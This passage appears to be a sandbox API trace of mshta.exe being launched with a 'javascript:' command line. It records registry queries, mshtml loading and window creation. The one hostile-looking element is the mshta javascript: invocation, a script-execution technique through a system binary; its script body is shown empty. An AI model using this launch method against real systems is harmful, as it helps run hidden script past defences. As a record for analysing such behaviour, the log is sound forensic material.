samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.271] RegCloseKey (hKey=0x0) returned 0x6 [0041.271] RegCloseKey (hKey=0x0) returned 0x6 [0041.271] RegCloseKey (hKey=0x94) returned 0x0 [0041.271] RegCloseKey (hKey=0x98) returned 0x0 [0041.271] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x98) returned 0x0 [0041.271] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x94) returned 0x0 [0041.271] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.271] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.271] RegCloseKey (hKey=0x0) returned 0x6 [0041.271] RegCloseKey (hKey=0x0) returned 0x6 [0041.271] RegCloseKey (hKey=0x98) returned 0x0 [0041.272] RegCloseKey (hKey=0x94) returned 0x0 [0041.272] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.273] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x98) returned 0x0 [0041.273] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x9c) returned 0x0 [0041.273] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.273] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.273] RegCloseKey (hKey=0x0) returned 0x6 [0041.273] RegCloseKey (hKey=0x0) returned 0x6 [0041.273] RegCloseKey (hKey=0x98) returned 0x0 [0041.273] RegCloseKey (hKey=0x9c) returned 0x0 [0041.273] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x9c) returned 0x0 [0041.273] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x98) returned 0x0 [0041.273] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.273] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.273] RegCloseKey (hKey=0x0) returned 0x6 [0041.273] RegCloseKey (hKey=0x0) returned 0x6 [0041.273] RegCloseKey (hKey=0x9c) returned 0x0 [0041.274] RegCloseKey (hKey=0x98) returned 0x0 [0041.274] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x98) returned 0x0 [0041.274] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x9c) returned 0x0 [0041.274] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.274] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.274] RegCloseKey (hKey=0x0) returned 0x6 [0041.274] RegCloseKey (hKey=0x0) returned 0x6 [0041.274] RegCloseKey (hKey=0x98) returned 0x0 [0041.274] RegCloseKey (hKey=0x9c) returned 0x0 [0041.274] GetSystemMetrics (nIndex=68) returned 4 [0041.274] GetSystemMetrics (nIndex=69) returned 4 [0041.274] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14 [0041.275] GetSystemDefaultLCID () returned 0x409 [0041.275] GetVersionExW (in: lpVersionInformation=0x30f254*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7734e36c, dwMinorVersion=0x7734e0d2, dwBuildNumber=0x7315afd8, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x30f254*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0041.275] GetUserDefaultUILanguage () returned 0x409 [0041.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x30f1a4, cchData=16 | out: lpLCData="\x03") returned 16 [0041.276] GetKeyboardLayoutList (in: nBuff=32, lpList=0x30f1d4 | out: lpList=0x30f1d4) returned 1 [0041.276] GetSystemMetrics (nIndex=4096) returned 0 [0041.276] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f8 | out: phkResult=0x30f2f8*=0x9c) returned 0x0 [0041.276] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2fc | out: phkResult=0x30f2fc*=0x98) returned 0x0 [0041.276] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b8 | out: phkResult=0x30f2b8*=0x0) returned 0x2 [0041.277] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b8 | out: phkResult=0x30f2b8*=0x0) returned 0x2 [0041.277] RegCloseKey (hKey=0x0) returned 0x6 [0041.277] RegCloseKey (hKey=0x0) returned 0x6 [0041.277] RegCloseKey (hKey=0x9c) returned 0x0 [0041.277] RegCloseKey (hKey=0x98) returned 0x0 [0041.277] GetModuleFileNameW (in: hModule=0x72c20000, lpFilename=0x30f160, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll")) returned 0x1e [0041.277] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3e) returned 0x523dd0 [0041.277] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0041.277] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0041.277] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0041.277] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0041.277] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0041.277] RegisterClipboardFormatA (lpszFormat="MS Forms CLSID") returned 0xc16c [0041.277] RegisterClipboardFormatA (lpszFormat="MS Forms Text") returned 0xc052 [0041.277] GetDC (hWnd=0x0) returned 0x24010a13 [0041.277] SHCreateShellPalette (hdc=0x0) returned 0x20080794 [0041.277] GetPaletteEntries (in: hpal=0x20080794, iStart=0x0, cEntries=0x100, pPalEntries=0x7315a494 | out: pPalEntries=0x7315a494) returned 0x100 [0041.277] SHGetInverseCMAP (in: pbMap=0x73158a7c, cbMap=0x4 | out: pbMap=0x73158a7c) returned 0x0 [0041.278] GetDeviceCaps (hdc=0x24010a13, index=38) returned 32409 [0041.278] ReleaseDC (hWnd=0x0, hDC=0x24010a13) returned 1 [0041.278] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20a) returned 0x52ea68 [0041.278] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2000) returned 0x52f480 [0041.278] GetCurrentProcessId () returned 0x7b4 [0041.278] _vsnprintf (in: _DstBuf=0x30f6a4, _MaxCount=0x16, _Format="%s%08lX", _ArgList=0x30f36c | out: _DstBuf="#MSHTML#PERF#000007B4") returned 21 [0041.278] OpenFileMappingA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#000007B4") returned 0x0 [0041.278] GetVersionExW (in: lpVersionInformation=0x30f388*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x5136c0, dwMinorVersion=0x100, dwBuildNumber=0x52dc68, dwPlatformId=0x510000, szCSDVersion="A") | out: lpVersionInformation=0x30f388*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0041.278] GetModuleHandleW (lpModuleName="advapi32") returned 0x754b0000 [0041.278] GetProcAddress (hModule=0x754b0000, lpProcName="EventWrite") returned 0x77380c59 [0041.279] GetProcAddress (hModule=0x754b0000, lpProcName="EventRegister") returned 0x7735f6ba [0041.279] GetProcAddress (hModule=0x754b0000, lpProcName="EventUnregister") returned 0x77379241 [0041.279] EtwEventRegister () returned 0x0 [0041.279] EtwRegisterTraceGuidsW () returned 0x0 [0041.279] EtwRegisterTraceGuidsW () returned 0x0 [0041.279] EtwEventRegister () returned 0x0 [0041.279] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files\\Microsoft Office\\Office14\\outllib.dll", lpdwHandle=0x30f154 | out: lpdwHandle=0x30f154) returned 0x0 [0041.280] GetModuleHandleW (lpModuleName=0x0) returned 0x120000 [0041.280] GetModuleFileNameW (in: hModule=0x120000, lpFilename=0x30f160, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0041.280] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0041.282] GetCurrentProcessId () returned 0x7b4 [0041.282] GetCurrentProcessId () returned 0x7b4 [0041.283] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\!PrivacIE!SharedMemory!Mutex") returned 0xbc [0041.283] GetLastError () returned 0x0 [0041.365] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10, lpName="Local\\!PrivacIE!SharedMem!Counter") returned 0x100 [0041.365] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x170000 [0041.367] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1e70 | out: hHeap=0x7c0000) returned 1 [0041.367] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c0e78 | out: hHeap=0x7c0000) returned 1 [0041.367] RegCloseKey (hKey=0x42) returned 0x0 [0041.367] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0041.367] GetProcAddress (hModule=0x76e10000, lpProcName="RegisterApplicationRestart") returned 0x76e4b53c [0041.367] lstrlenA (lpString="\"javascript:document.write('');\"") returned 135 [0041.367] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x110) returned 0x7c1e70 [0041.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x512b32, cbMultiByte=-1, lpWideCharStr=0x7c1e70, cchWideChar=136 | out: lpWideCharStr="\"javascript:document.write('');\"") returned 136 [0041.367] RegisterApplicationRestart (pwzCommandline="\"javascript:document.write('');\"", dwFlags=0x0) returned 0x0 [0041.367] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1e70 | out: hHeap=0x7c0000) returned 1 [0041.367] GetProcAddress (hModule=0x72c20000, lpProcName="RunHTMLApplication") returned 0x72c7e710 [0041.367] GetCommandLineW () returned="mshta.exe \"javascript:document.write('');\"" [0041.368] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x114) returned 0x533ea8 [0041.368] OleInitialize (pvReserved=0x0) returned 0x0 [0041.451] IsWindow (hWnd=0x0) returned 0 [0041.451] RegisterClassW (lpWndClass=0x30fa0c) returned 0xc059 [0041.451] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x120000, lpParam=0x73159680) returned 0x60268 [0041.451] NtdllDefWindowProc_W () returned 0x0 [0041.452] NtdllDefWindowProc_W () returned 0x1 [0041.453] NtdllDefWindowProc_W () returned 0x0 [0041.455] NtdllDefWindowProc_W () returned 0x0 [0041.455] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x60268, hMenu=0x0, hInstance=0x120000, lpParam=0x73159680) returned 0x7001a [0041.455] NtdllDefWindowProc_W () returned 0x0 [0041.455] NtdllDefWindowProc_W () returned 0x1 [0041.455] NtdllDefWindowProc_W () returned 0x0 [0041.456] NtdllDefWindowProc_W () returned 0x0 [0041.456] SetWindowLongW (hWnd=0x7001a, nIndex=-16, dwNewLong=-2100363264) returned 114229248 [0041.456] NtdllDefWindowProc_W () returned 0x0 [0041.456] NtdllDefWindowProc_W () returned 0x0 [0041.456] NtdllDefWindowProc_W () returned 0x0 [0041.456] NtdllDefWindowProc_W () returned 0x0 [0041.457] NtdllDefWindowProc_W () returned 0x0 [0041.457] NtdllDefWindowProc_W () returned 0x0 [0041.457] SetWindowPos (hWnd=0x7001a, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0041.457] NtdllDefWindowProc_W () returned 0x0 [0041.457] NtdllDefWindowProc_W () returned 0x0 [0041.458] NtdllDefWindowProc_W () returned 0x0 [0041.458] NtdllDefWindowProc_W () returned 0x0 [0041.459] NtdllDefWindowProc_W () returned 0x0 [0041.459] SendMessageW (hWnd=0x7001a, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0041.459] NtdllDefWindowProc_W () returned 0x0 [0041.459] NtdllDefWindowProc_W () returned 0x0 [0041.459] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x114) returned 0x53b488 [0041.459] PathRemoveArgsW (in: pszPath="\"javascript:document.write('');\"" | out: pszPath="\"javascript:document.write('');\"") [0041.460] PathRemoveBlanksW (in: pszPath="\"javascript:document.write('');\"" | out: pszPath="\"javascript:document.write('');\"") [0041.460] PathUnquoteSpacesW (in: lpsz="\"javascript:document.write('');\"" | out: lpsz="javascript:document.write('');") returned 1 [0041.460] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:document.write('');", ppmk=0x30fa6c*=0x0, dwFlags=0x1 | out: ppmk=0x30fa6c*=0x53ad08) returned 0x0 [0041.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b488 | out: hHeap=0x510000) returned 1 [0041.471] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b770 [0041.471] CoCreateInstance (in: rclsid=0x72d59770*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x72ddb75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x731596d4 | out: ppv=0x731596d4*=0x53eda8) returned 0x0 [0041.472] DllGetClassObject (in: rclsid=0x5419c8*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x7630ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ed24 | out: ppv=0x30ed24*=0x73158cb0) returned 0x0 [0041.472] IClassFactory:CreateInstance (in: This=0x73158cb0, pUnkOuter=0x0, riid=0x30f6d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x30ed10 | out: ppvObject=0x30ed10*=0x53eda8) returned 0x0 [0041.472] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2a8) returned 0x5432a0 [0041.473] GetCurrentThreadId () returned 0x86c [0041.473] RegisterClassExW (param_1=0x30ebbc) returned 0xc055 [0041.473] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc055, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x72c20000, lpParam=0x0) returned 0x9001c [0041.473] GetWindowLongW (hWnd=0x9001c, nIndex=-20) returned 0 [0041.473] NtdllDefWindowProc_W () returned 0x1 [0041.473] NtdllDefWindowProc_W () returned 0x0 [0041.473] NtdllDefWindowProc_W () returned 0x0 [0041.473] NtdllDefWindowProc_W () returned 0x0 [0041.473] NtdllDefWindowProc_W () returned 0x0 [0041.473] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b788 [0041.473] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b7a0 [0041.474] CreateCompatibleDC (hdc=0x0) returned 0x1201008e [0041.474] GetDeviceCaps (hdc=0x1201008e, index=90) returned 96 [0041.474] GetDeviceCaps (hdc=0x1201008e, index=88) returned 96 [0041.474] GetSystemMetrics (nIndex=68) returned 4 [0041.474] GetSystemMetrics (nIndex=69) returned 4 [0041.474] GetSystemMetrics (nIndex=2) returned 17 [0041.474] GetSystemMetrics (nIndex=3) returned 17 [0041.474] GetStockObject (i=13) returned 0x18a002e [0041.474] SelectObject (hdc=0x1201008e, h=0x18a002e) returned 0x18a002e [0041.474] GetTextMetricsW (in: hdc=0x1201008e, lptm=0x30ec54 | out: lptm=0x30ec54) returned 1 [0041.474] SelectObject (hdc=0x1201008e, h=0x18a002e) returned 0x18a002e [0041.474] DeleteObject (ho=0x18a002e) returned 1 [0041.474] GetSystemDefaultLCID () returned 0x409 [0041.474] GetUserDefaultLCID () returned 0x409 [0041.474] GetACP () returned 0x4e4 [0041.474] GetLocaleInfoW (in: Locale=0x400, LCType=0x1014, lpLCData=0x30ebc8, cchData=41 | out: lpLCData="1") returned 2 [0041.474] _wtoi (_String="1") returned 1 [0041.474] RegCloseKey (hKey=0x0) returned 0x6 [0041.474] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x30ec1c, cchData=16 | out: lpLCData="0123456789") returned 11 [0041.474] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7315b038, fWinIni=0x0 | out: pvParam=0x7315b038) returned 1 [0041.474] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x30ec90, fWinIni=0x0 | out: pvParam=0x30ec90) returned 1 [0041.475] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc0) returned 0x543658 [0041.475] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b7b8 [0041.475] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x543720 [0041.475] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5334a8 [0041.475] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1c) returned 0x53fae0 [0041.475] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x5291c0 [0041.475] GetSystemWindowsDirectoryW (in: lpBuffer=0x30ea9c, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0041.475] lstrlenW (lpString="C:\\Windows") returned 10 [0041.475] lstrlenW (lpString="\\WindowsShell.manifest") returned 22 [0041.475] CreateActCtxW (pActCtx=0x30ea78) returned 0x5437d4 [0041.478] ActivateActCtx (in: hActCtx=0x5437d4, lpCookie=0x30ea48 | out: hActCtx=0x5437d4, lpCookie=0x30ea48) returned 1 [0041.478] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x743d0000 [0041.502] DeactivateActCtx (dwFlags=0x0, ulCookie=0x14140001) returned 1 [0041.503] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0041.503] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0041.503] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0041.503] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0041.503] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x30e6a8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0041.503] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30e8b0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0041.504] GetCurrentProcess () returned 0xffffffff [0041.504] GetModuleBaseNameW (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x30eab8, nSize=0x104 | out: lpBaseName="mshta.exe") returned 0x9 [0041.504] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0041.504] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5334c8 [0041.504] FindAtomW (lpString="TridentEnableHiRes") returned 0x0 [0041.504] SHGetValueW (in: hkey=0x80000001, pszSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", pszValue="NoFileMenu", pdwType=0x30e694, pvData=0x30e6a0, pcbData=0x30e69c*=0x4 | out: pdwType=0x30e694*=0x0, pvData=0x30e6a0, pcbData=0x30e69c*=0x4) returned 0x2 [0041.504] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30e60c | out: phkResult=0x30e60c*=0x180) returned 0x0 [0041.504] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30e610 | out: phkResult=0x30e610*=0x17c) returned 0x0 [0041.504] RegOpenKeyExW (in: hKey=0x17c, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x30e5cc | out: phkResult=0x30e5cc*=0x0) returned 0x2 [0041.504] RegOpenKeyExW (in: hKey=0x180, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x30e5cc | out: phkResult=0x30e5cc*=0x0) returned 0x2 [0041.504] RegCloseKey (hKey=0x0) returned 0x6 [0041.504] RegCloseKey (hKey=0x0) returned 0x6 [0041.505] RegCloseKey (hKey=0x180) returned 0x0 [0041.505] RegCloseKey (hKey=0x17c) returned 0x0 [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x97c) returned 0x53eda8 [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x480) returned 0x543f88 [0041.505] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0041.505] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0041.505] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0041.505] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x53e928 [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x53e980 [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544410 [0041.505] GetCurrentThreadId () returned 0x86c [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b878 [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c) returned 0x52d7f8 [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x544468 [0041.505] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc056 [0041.505] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x5334e8 [0041.506] CoInternetIsFeatureEnabled (FeatureEntry=0xc, dwFlags=0x2) returned 0x1 [0041.506] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x73158cd4, dwReserved=0x0 | out: ppSM=0x73158cd4*=0x5444f0) returned 0x0 [0041.509] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x64) returned 0x544998 [0041.509] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x544a08 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x52d110 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x533508 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x529210 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x529260 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x544a60 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x64) returned 0x544ac8 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x5292b0 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x544b38 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x544da0 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x529300 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x529350 [0041.510] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x5293a0 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x544e98 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x544f00 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x5293f0 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x529440 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x544f68 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x140) returned 0x545000 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x53bc58 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x52d140 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x533528 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xd0) returned 0x53c910 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x38) returned 0x53e9d8 [0041.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x128) returned 